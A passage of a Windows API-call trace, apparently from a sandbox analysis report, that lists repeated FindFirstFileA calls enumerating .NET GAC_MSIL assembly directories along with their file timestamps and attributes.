lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Configuration.Install\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9352cc80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x661b99e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x661b99e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.598] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Core\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93aadf60, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93aadf60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93aadf60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.599] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Core\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93aadf60, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61de26e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61de26e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.602] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.DataSetExtensions\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93afa220, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93afa220, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93afa220, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.602] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.DataSetExtensions\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93afa220, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61ea0dc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61ea0dc0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.605] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Entity\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b6c640, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93b6c640, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93b6c640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.605] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Entity\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b20380, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x62043ce0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62043ce0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.608] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Entity.Design\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4864a00, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa4864a00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa4864a00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.609] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Entity.Design\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa483e8a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61eed080, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61eed080, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.612] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Linq\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93bb8900, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93bb8900, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93bb8900, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.613] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Linq\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b927a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x62128520, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62128520, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.616] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa49230e0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa49230e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa49230e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.616] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa48fcf80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x6220cd60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6220cd60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.619] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services.Client\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93bdea60, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93bdea60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93bdea60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.620] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services.Client\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93bdea60, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x621747e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x621747e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.622] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services.Design\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa48d6e20, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa48d6e20, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa48d6e20, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.623] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services.Design\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa48d6e20, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x621c0aa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x621c0aa0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.626] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.SqlXml\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93637620, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93637620, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93637620, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.626] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.SqlXml\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x936114c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x667ad0e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x667ad0e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.635] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Deployment\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9365d780, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9365d780, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9365d780, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.636] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Deployment\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9365d780, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x66845660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x66845660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.638] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Design\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa49e17c0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa49e17c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa49e17c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.638] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Design\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa496f3a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x66dc6940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x66dc6940, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.640] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Device\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93cc32a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93cc32a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93cc32a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.641] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Device\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93cc32a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x671cae60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x671cae60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.643] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Contracts\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.643] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Contracts\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x62259020, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62259020, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.646] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Debug\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.646] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Debug\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x622a52e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x622a52e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.649] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Tools\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.650] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Tools\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x622cb440, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x622cb440, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.652] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Tracing\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.653] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Tracing\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x62317700, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62317700, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.656] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x936a9a40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x936a9a40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x936a9a40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.656] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x936838e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6723d280, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6723d280, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.659] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices.AccountManagement\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x936cfba0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x936cfba0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x936cfba0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.659] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices.AccountManagement\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x936cfba0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6233d860, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6233d860, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.665] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices.Protocols\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9371be60, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9371be60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9371be60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.665] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices.Protocols\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x936f5d00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x672d5800, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x672d5800, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.671] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Drawing\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x937b43e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x937b43e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x937b43e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.671] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Drawing\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x937b43e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x67a6be20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x67a6be20, 